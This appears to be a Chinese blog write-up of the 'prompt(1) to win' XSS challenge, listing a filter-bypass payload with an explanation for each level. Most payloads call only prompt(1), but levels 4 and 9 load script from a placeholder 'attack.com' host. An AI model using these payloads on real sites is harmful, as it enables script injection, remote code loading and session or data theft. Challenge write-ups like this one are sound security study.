• XSS学习(未完..)


    前言

    XSS 漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习

    正文

    工具

    分析正则表达式
    https://regex101.com/
    http://xssor.io/
    https://html5sec.org/
    
    

    第0关

    "><script>prompt(1)</script>\
    

    第1关

    正则过滤 <> 包含的字符,所以需要不使用 >payload

    <style/onload="prompt(1)";//
    <img/src=% onerror=prompt(1)//
    

    过滤了=( , 而我们执行 prompt(1) 是需要  ( ,这里有一个知识点,浏览器会 <svg> 标签的中的元素认为是 xml 元素,会对其中的内容进行 html 实体解码。

    <svg><script>prompt&#x28;1)</script>
    

    或者使用 eval.call 执行 js 代码,函数参数为 js 字符串,所以可以使用 16进制编码。

    <script>eval.call`${'promptu00281)'}`</script>
    

    第3关

    我们的输入被放置在注释里面,于是想办法闭合注释,不过 -> 被过滤,有一个知识点,--!> 也可以闭合注释

    --!><svg/onload=prompt(1)
    

    第4关

    输入被做为 加载 js 资源的 url, 同时要以 http://prompt.ml/ 开头,于是可以使用 http://prompt.ml%2f@attack.com 加载远程攻击者的 js.( 先url解码才匹配,所以 / ---> %2f

    第5关

    > , on***=, focus 过滤掉了, 我们的能力就是可以修改 input 标签的属性值,由于 focus 被过滤,利用 onfocusautofocus 组合的方式也不能利用了。

    知识点介绍

    • 如果出现两个相同的属性值,后面的属性值被忽略。
    • .+? 正则不会跨行匹配,但是 浏览器 可以 跨行匹配,比如 onerror = 正则匹配不上,但是 浏览器 可以正常处理

    于是 payload

    " type="image" src=# onerror
    ="prompt(1)
    

    第6关

    用我们的输入构造了一个 form 表单,然后自动提交。

    我们可以控制的东西有

    • action 的值
    • inputvaluename

    如果没有下面的 !/script:|data:/i.test(document.forms[0].action) , 我们可以直接设置 actionjavascript:prompt(1) 或者 vbscript:prompt(1)

    知识点:

    document.forms[0].action
    

    获取属性值时,如果子标签内有 name="action" 的子标签的话,会返回该子标签。 也可以说 document.forms[0].action 先回去找 该标签内部name="action" 的子标签, 如果有返回全部满足条件的子标签,如果没有则返回 该标签的 action 属性值。

    所以绕过方式就是,先设置 form.action=javascript:prompt(1), 然后form 标签内构造一个 name="action" 的子标签。

    javascript:prompt(1)#{"action":"sss"}
    

    第7关

    把我们的输入用 # 分割, 用每一项来新建一个 <p>标签, 项的值作为 <p>标签的 title 属性值,唯一的限制每一项长度最长为 12 个字符

    解决方法是利用 javascript 的注释符 /**/javascript 语法的松散性。

    "><script>/*#*/prompt(/*#*/1)/*#*/</script>
    

    生成的 html

    <p class="comment" title=""><script>/*"></p>
    <p class="comment" title="*/prompt(/*"></p>
    <p class="comment" title="*/1)/*"></p>
    <p class="comment" title="*/</script>"></p>
    

    简化后的有效 payload

    <script>/*...*/prompt(/*...*/1)/*...*/</script>
    

    或者

    "><svg/a=#"onload='/*#*/prompt(1)'
    

    生成的 html

    <p class="comment" title=""><svg/a="></p>
    <p class="comment" title=""onload='/*"></p>
    <p class="comment" title="*/prompt(1)'"></p>
    

    第8关

    输入位于一个被注释了的 console.log 函数参数里面, 第一步自然是绕过注释,// 是单行注释,所以只要用换行符进入下一行即可,问题就是 被过滤。

    知识点

    javascript 还支持 unicode 的换行符

    U+2028 http://codepoints.net/U+2028
    U+2029 http://codepoints.net/U+2029
    

    chromefirefox--> 可以作为 javascript 的注释符,不过最新的 chrome 貌似没用

    [U+2028]prompt(1)[U+2028]-->
    

    可以用 python 或者 console.log 输出 unicode 字符

    把结果复制,然后粘贴即可,在 010editor 下看看 16 进制

    这个 3f 应该就是 [U+2028]

    第9关

    过滤了标签的开头,字符全部转大写。

    这里需要知道,unicode 码包含了许多国家的语言文字,有一些语言的字母调用 Upper 函数进行大写,由于没有对应的大写文字,会自动的转换为英文字母,而在 url 中,协议和域名是不区分大小写的这时,我们就可以进行利用了。

    首先,我们可以在控制台写一个循环来查找 Upper 之后是S 的字符。

    for (i=0;i<=100000;i++){
        if (String.fromCharCode(i).toUpperCase()=="S"){
            console.log(i)
            console.log(String.fromCharCode(i))
        }
    }
    

    最后的 payload

    <ſvg><ſcript/href=attack.com>
    
    

    第10关

    首先替换 promptalert ,后面又 清除了 ' , 这种 前过滤 后 清除 的做法,可以用来绕过前面的过滤.

    pro'mpt(1)
    

    第11关

    过滤之后,进入 <script> 作为赋值字符串的一部分。

    有一个知识点,在脚本环境中,"string"(alert(1)) 不会报错,且会正确执行,而为了使语法正确,使用 in 关键字

    "(prompt(1))in"
    

    第12关

    10 关的一个改进,先过滤然后才清除。

    javascript 中可以 使用 parseInt 把字符串转成数字,然后用 (num).toString 转成字符串, 同时还有一个有意思的点,用 eval 执行 function_name 返回值就是该函数的对象。于是

    eval((630038579).toString(30))(1)
    

    参考

    https://lorexxar.cn/2015/07/02/xss-p/

    https://hellohxk.com/blog/prompt-1-writeup/

    http://blog.csdn.net/Ni9htMar3/article/details/77938899

    https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml

  • 相关阅读:
    JS 数字时钟的代码(摘录,忘了是从哪了)
    数据写入DataTable C# 2005
    C# 进制转化问题测试下再说(网上的直接转化不好用)
    防sql 注入,就是将sql 的执行命令给排除
    今天研究了一下午网站窄屏/宽屏的切换实现
    解决VS2005下中文输入法全角半角混乱的补丁
    一些实用的站长查询工具
    UE(用户体验)无处不在,留心处处皆学问
    添加了方便聚合的链接
    该好好整理一下自己了
  • 原文地址:https://www.cnblogs.com/hac425/p/9416893.html
Copyright © 2020-2023  润新知